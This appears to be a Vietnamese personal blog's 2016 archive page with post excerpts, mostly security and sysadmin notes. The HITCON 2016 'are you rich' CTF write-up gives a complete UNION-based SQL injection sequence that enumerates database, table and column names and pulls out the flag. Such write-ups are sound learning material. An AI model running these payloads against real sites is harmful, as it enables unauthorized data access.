Bài đăng

Đang hiển thị bài đăng từ 2016

HitCon 2016 ctf - are you rich 50

Hình ảnh
A long period of time without practicing SQL Injection manually :3

When I look at the easiest challenge "Are you rich 50" at HITCON 2016, just play with this url ./are/you_rich/verify.php?address=....


Yeah, basic case of SQL Injection :D

by using 'UNION SELECT', i know the table has 1 column.

address=' UNION SELECT database() limit 1 -- -&flag_id=flag1&submit= => DB Name: areyourich

address=' UNION SELECT table_name FROM INFORMATION_SCHEMA.tables WHERE table_schema='areyourich' LIMIT 1 -- -&flag_id=flag1&submit=
=> Table Name: flag1

address=' UNION SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='flag1' limit 1 -- -&flag_id=flag1&submit=
=> Column Name: flag

address=' UNION SELECT flag FROM flag1 LIMIT 1 -- -&flag_id=flag1&submit=
=> Flag: hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!

Just enjoy this morning when I wake up early today ^^

Play with logger

I found something interesting today. When working with Apache I notice that you cannot have multiple ErrorLog directives for writing error logs into multiple destination (CustomLog allow this). For instance:
ErrorLog /path/file1.log ErrorLog /path/file2.log ErrorLog /path/file3.log In the above config, only third ErrorLog directive working, this mean error logs only write to /path/file3.log
But in many cases you would like to store logs in different locations on system (for instance centre logging with Syslog). Some articles I found on the internet show us the way to got this is pipe logs to a program, something like this:
ErrorLog "|$ /usr/bin/tee -a /var/log/httpd/example.com-error_log | /usr/bin/logger -t httpd-error -p local1.error" This tell Apache pipe output logs into:
(1) /usr/bin/tee append to a file (2) /usr/bin/logger send to Syslog Look at (2), by default logger split input messages into segments with 1KB of length (1024 characters) (http://man7.org/linux/man-…

Giáo dục tiểu học

Hôm nay tôi đọc được một bài viết hay từ giáo sư John Vu, xin được trích một đoạn kết mà tôi đồng quan điểm

Trường tiểu học phải là chỗ chúng ta dạy con trẻ về trung thực, về đạo làm con với bố mẹ, về trách nhiệm với gia đình, với xã hội, với đất nước của chúng ta. Trường tiểu học phải là nơi con trẻ học nói sự thực, lòng kính trọng, tính trung thực, và kỷ luật tự giác. Trường tiểu học phải là nơi con trẻ học về văn hoá, về di sản tinh thần của chúng. Con trẻ phải được giáo dục về về lịch sử, về tổ tiên, về những anh hùng của thế hệ quá khứ để chúng biết rõ công trình của tiền nhân đã xây dựng đất nước quê hương, đã tốn bao xương máu để bảo về bờ cõi cho đến ngày nay.
Có nhiều điều con trẻ phải học để cho chúng có thể xây dựng nền tảng vững chắc và thành người có trách nhiệm. Chỉ với tính cách đạo đức vững vàng, con trẻ biết phân biệt điều phải với điều trái. Chỉ với tính cách đạo đức vững vàng, thí dù sau này chúng có giữ địa vị nào đó, chúng vẫn có khả năng duy trì sự thanh liêm, chí…

Tập tành RE

Hình ảnh
Hôm nay thấy anh em thi đấu WhiteHat Contest 11, không tham gia cùng được vì sợ Team gánh mình nên lén vào đăng kí đội rồi tìm mấy bài Web Hacking, hi vọng giải được để có cái chém gió với anh em :3

Sau một buổi sáng cố gắng .... đợi BTC xử lý sự cố 2 bài Web thì tôi bỏ cuộc chơi Web :v. Để không phải phí một buổi sáng, tôi liếc qua RE100 thấy nhiều người giải được quá nên quyết tâm mình sẽ nằm trong số đó mặc dù RE và Pwnable đối với tôi là những khái niệm rất là trừu tượng T_T

Tải file đề cho về máy

Cảm thấy bị tổn thương khi BTC cố tình build source-code ở debug-mode mà chỉ cho binary, quên đính kèm file /home/viethqc/Codeblocks/CTF/main.cpp. Thử mở file binary bằng một số Decompiler phổ biến như NotePad chẳng hạn :P

Có quá nhiều dòng code khó hiểu sau khi decompile, và chỉ có một đoạn code tôi hiểu trong hàm main() là


Rút lại cho gọn như sau

Tới đây nếu tiếp tục tốn thời gian đọc hàm confuseKey() chắc tôi sẽ không còn mặt mũi nào gặp anh em trong giới ăn nhậu. Sử dụng một kỹ thuật …

[Notes] CloudFlare SSL Proxy và PHP Website.

Trường hợp tôi đang gặp phải:
Client → CloudFlare (Flexible SSL, Static Caching) → Nginx (php-fpm)
Một số yêu cầu tôi đã xử lý:

[+] Chuyển các truy cập HTTP sang HTTPS

Sau khi CloudFlare nhận được HTTP Request từ Client sẽ thêm các Headers sau trước khi Forward vào Nginx

Cf-Visitor : { "scheme": "http"} X-Forwarded-Proto: http
[+] Có thể sử dụng một trong 2 headers này dùng làm patern để redirect, ví dụ:
if ($http_cf_visitor ~ '{"scheme":"http"}') { return 301 https://$server_name$request_uri; }
Hoặc

if ($http_x_forwarded_proto = "http") { return 301 https://$server_name$request_uri; }
[+] CloudFlare Caching và Redirect Loop khi chuyển request sang HTTPS

Khi sử dụng phương pháp Redirect sang HTTPS, nếu Static Caching của CloudFlare đang được mở thì mặc định ta sẽ gặp trường hợp như sau (ví dụ đối với các tập tin image, js, css):
- Client gửi HTTPS đến /image_abc.jpeg : Truy cập bình thường
- Client gửi HTTP đến http:…

Vọc Xiaomi - Yi Sport Camera

Hình ảnh
[Update] Hiện tại XaoMi đã update Firmware + MobileApp cho phép đổi mật khẩu default của YiCam rồi, bài này giờ  #Just4Fun :3
Mới mua cái Xiaomi - Yi Sport Camera về, nói chung về chất lượng hình ảnh so với giá tiền đối với mình thì khá tuyệt :D
Thiết bị có thể được điều khiển, cấu hình bởi Android App sử dụng kết nối Wireless:

Yi Mobile App <----> [wireless] <---> Yi Camera (WiFi Hotspot)
Yi Camera có IP tĩnh là 192.168.42.1, Yi Mobile App sẽ Scan các Wireless có SSID với tiền tố YDXJ_ cộng thêm 7 số nguyên. Thử connect từ HotSpot từ Laptop được yêu cầu nhập Password. Vậy passphare sẽ nằm trong Mobile App (hiển nhiên :3).

Dùng Jadx để decompile Yi App. Code được obfuscate dạng đổi tên Class, function, variable,.. thành tên không có nghĩa. Nhìn mớ code trace theo chắc khá mất thời gian.

Tự nhiên hứng lên grep thử IP trong source:
Thấy tùm lum IP, nhiều Public IP móc qua bên nước láng giềng không biết làm gì, thôi tạm bỏ qua, quên mất đang tìm Passphare Wireless :D

Bắt đầu …

happyNewYear('Congratulations, keep being awesome!') - 2016

Hình ảnh
Solved the first challenge in New Year on #codefights :D



We must say goodbye 2015 welcome 2016. Just Try Your Best!